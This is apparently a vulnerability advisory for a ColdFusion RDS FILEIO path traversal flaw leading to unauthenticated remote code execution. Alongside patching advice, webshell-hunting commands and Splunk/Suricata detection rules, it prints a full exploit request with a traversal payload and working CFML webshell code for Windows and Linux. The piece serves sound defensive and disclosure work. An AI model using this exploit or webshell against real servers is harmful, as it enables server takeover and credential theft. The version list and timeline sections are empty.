CVE-2026-48282: Adobe ColdFusion RDS FILEIO Path Traversal to Unauthenticated RCE

Background

Adobe ColdFusion is a commercial application server platform used predominantly in enterprise and government environments for web application development. It has a long history of critical vulnerabilities, including prior RCE flaws in 2023 (CVE-2023-26360, CVE-2023-29300), and remains a high-value target for threat actors because ColdFusion deployments frequently sit inside corporate networks and handle sensitive data.

Remote Development Services (RDS) is a built-in ColdFusion feature intended to support integrated development environment (IDE) connectivity, allowing tools like Adobe ColdFusion Builder to interact directly with a ColdFusion server for development workflows. The RDS interface exposes several handlers, including FILEIO, which is designed to allow IDEs to read and write files on the server. When exposed externally or left enabled on production instances — a common misconfiguration — RDS becomes a direct attack surface.

CVE-2026-48282 is a path traversal vulnerability in the RDS FILEIO handler that allows an unauthenticated attacker to write arbitrary files anywhere on the server’s filesystem that the ColdFusion service account has write access to. Combined with ColdFusion’s native CFML execution capability, writing a CFML webshell to the web root achieves unauthenticated remote code execution. Adobe assigned CVSS 10.0 and CISA added it to the Known Exploited Vulnerabilities catalogue with a July 10, 2026 remediation deadline.

Technical Mechanism

The RDS FILEIO handler is accessible at the endpoint /CFIDE/main/ide.cfm?ACTION=FILEIO. The handler processes file path parameters supplied in the POST body, but under vulnerable versions does not canonicalise or validate the supplied path against the intended RDS working directory. An attacker can supply path traversal sequences (../) to escape the intended directory and write to arbitrary filesystem locations.

The attack chain proceeds in two steps. First, the attacker sends a crafted POST request to the FILEIO endpoint with path traversal sequences that resolve to a web-accessible directory — typically the ColdFusion web root or a virtual mapping. The POST body contains a malicious CFML file, typically embedding a <cfexecute> tag to execute operating system commands. Second, the attacker sends a GET request to the newly written CFML file URL, which ColdFusion’s template engine processes and executes, returning command output.

# Step 1: Write CFML webshell via path traversal through RDS FILEIO
# No authentication required

POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

operation=write&filepath=../../wwwroot/shell.cfm&content=<cfset+cmd=cgi.query_string><cfexecute+name="cmd.exe"+arguments="/c+#cmd#"+variable="out"+timeout="10"><cfoutput>#out#</cfoutput>

# URL-decoded path component:
# filepath=../../wwwroot/shell.cfm
# Traverses from /CFIDE/main/ up to web root, writes shell.cfm

# Step 2: Execute the webshell
GET /shell.cfm?whoami HTTP/1.1
Host: target.example.com

# Response: nt authority\system (or the ColdFusion service account)

<!-- Minimal CFML webshell — writes to target via the FILEIO traversal -->
<!-- Command execution via cfexecute tag -->
<cfset cmd = cgi.query_string>
<cfexecute name="cmd.exe" arguments="/c #cmd#" variable="out" timeout="10">
<cfoutput>#out#</cfoutput>

<!-- Linux/macOS variant using /bin/sh -->
<cfexecute name="/bin/sh" arguments="-c #cmd#" variable="out" timeout="10">
<cfoutput>#out#</cfoutput>

On Linux ColdFusion deployments, the traversal targets the web root served by the bundled JRun web server or an IIS/Apache connector. On Windows deployments the path separator differences do not protect against the attack — both forward slash and backslash are accepted in the traversal payload.

Exploitation requires no authentication, no valid ColdFusion user account, and no prior knowledge of the server configuration beyond confirming that the /CFIDE/main/ide.cfm endpoint returns a 200 response.

Real-World Exploitation Evidence

CISA’s KEV addition confirms active exploitation in the wild. Threat intelligence from multiple sources indicates exploitation began within approximately two hours of Adobe’s public advisory. The short window reflects the availability of proof-of-concept code in private security research channels before the advisory was public, as well as automated scanning infrastructure targeting the known endpoint URL.

Observed post-exploitation behaviour includes:

• CFML webshell deployment at predictable paths (/shell.cfm, /update.cfm, /health.cfm) and randomised names
• Cobalt Strike beacon deployment via the webshell, indicating organised threat actor activity rather than opportunistic scanning
• Credential harvesting from ColdFusion’s password.properties and datasource connection files, which store database credentials in the application configuration
• Lateral movement from the ColdFusion host into connected database servers using harvested credentials

ColdFusion servers indexed by Shodan and Censys running versions prior to the patch represent a significant exposed population, particularly in US government, healthcare, and financial services sectors where legacy ColdFusion deployments are common.

Impact Assessment

• Unauthenticated RCE — an attacker with no credentials can achieve full code execution in the context of the ColdFusion service account. On many deployments this account has Local System or SYSTEM-level privileges
• Complete server compromise — once a webshell is established, the attacker has persistent access equivalent to an authenticated administrator
• Credential extraction — ColdFusion stores database and LDAP credentials in configuration files accessible from the webshell, enabling lateral movement into backend systems
• Data exfiltration — all data accessible to the ColdFusion application is exposed, including any database the application connects to
• Network pivot — ColdFusion servers frequently sit inside corporate network perimeters, providing a pivot point for further east-west movement
• Persistence — CFML webshells are not removed by ColdFusion service restarts; persistence survives patching if the webshell is not cleaned up before the update

Affected Versions

ColdFusion 2021 reached end of life in November 2024 and does not receive patches. Adobe recommends upgrading to a supported version.

Remediation Steps

1. Apply the patch immediately — install ColdFusion 2025 Update 10 or ColdFusion 2023 Update 21 via the ColdFusion Administrator or manual update process:

# Verify current ColdFusion version via Administrator or server.properties
# ColdFusion Administrator: http://<host>:<port>/CFIDE/administrator/index.cfm
# Version info: Server > Version Information

# Manual update via updater tool
cd /opt/coldfusion/cfusion/bin
./cfupdate.sh   # Linux
cfupdate.bat    # Windows

2. Disable RDS if not required — RDS is a development feature with no purpose in production environments. Disable it in ColdFusion Administrator under Security > RDS > Disable RDS or by setting rdsPassword to blank and disabling the feature:

<!-- neo-security.xml: disable RDS entirely -->
<var name="RDSPassword"><string></string></var>
<var name="AllowRDS"><boolean value="false"/></var>

3. Block the FILEIO endpoint at the web server or WAF layer:

# Apache: block access to RDS endpoint
<LocationMatch "^/CFIDE/main/ide\.cfm">
    Require all denied
</LocationMatch>

# Nginx: block CFIDE from external access
location ~* ^/CFIDE/ {
    deny all;
    return 403;
}

4. Scan for webshells — inspect all web-accessible directories for CFML files not present in the original ColdFusion installation or your application codebase. Focus on files created after the vulnerability disclosure date:

# Find recently created CFML files in web root (Linux)
find /opt/coldfusion/cfusion/wwwroot -name "*.cfm" -newer /opt/coldfusion/cfusion/bin/coldfusion -type f

# Find CFML files containing cfexecute or common webshell indicators
grep -r --include="*.cfm" --include="*.cfc" --include="*.cfml" "cfexecute\|createObject.*runtime\|Runtime\.exec" /opt/coldfusion/cfusion/wwwroot/

5. Run ColdFusion with a least-privilege service account — the ColdFusion service should not run as SYSTEM or root. A dedicated low-privilege account limits the filesystem locations an attacker can write to

6. Rotate all credentials — if exploitation is suspected, rotate database passwords, LDAP bind passwords, and any other credentials stored in ColdFusion datasource configurations

Detection Guidance

Monitor for the following indicators in web server access logs, ColdFusion logs, and EDR telemetry:

• POST requests to /CFIDE/main/ide.cfm with ACTION=FILEIO from external IP addresses or non-development hosts
• URL-encoded path traversal sequences (..%2F, ..%5C, %2E%2E%2F) in parameters to ColdFusion endpoints
• New .cfm, .cfc, .cfml, or .jsp files appearing in web-accessible directories with modification times after patch release date
• Child processes spawned by the ColdFusion service (coldfusion.exe, jvm.dll) that are not part of normal operation — especially cmd.exe, powershell.exe, wget, curl
• Outbound network connections from the ColdFusion host to untrusted external addresses, particularly on common C2 ports (443, 80, 4444, 8080)

# Splunk — detect RDS FILEIO POST requests from external sources
index=webserver sourcetype=access_combined
| where match(uri_stem, "(?i)/CFIDE/main/ide\.cfm") AND method="POST" AND match(uri_query, "(?i)ACTION=FILEIO")
| eval is_internal=if(cidrmatch("10.0.0.0/8", src_ip) OR cidrmatch("192.168.0.0/16", src_ip) OR cidrmatch("172.16.0.0/12", src_ip), "yes", "no")
| where is_internal="no"
| stats count by src_ip, uri_stem, uri_query, _time
| sort -count

# Suricata — detect FILEIO POST to ColdFusion RDS endpoint
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-48282 ColdFusion RDS FILEIO POST - Potential Webshell Write"; flow:established,to_server; content:"POST"; http_method; content:"/CFIDE/main/ide.cfm"; http_uri; content:"FILEIO"; http_uri; content:"filepath"; http_client_body; pcre:"/filepath=.*(%2E%2E|\.\.)/i"; sid:2026482821; rev:1;)

alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-48282 ColdFusion RDS FILEIO - Path Traversal Sequence"; flow:established,to_server; content:"/CFIDE/main/ide.cfm"; http_uri; pcre:"/(%2E%2E%2F|%2E%2E%5C|\.\.\/|\.\.\\)/i"; http_uri; sid:2026482822; rev:1;)

Timeline

References

• NVD — CVE-2026-48282
• CISA KEV — CVE-2026-48282
• Adobe Security Bulletin APSB26-41
• Adobe ColdFusion RDS Documentation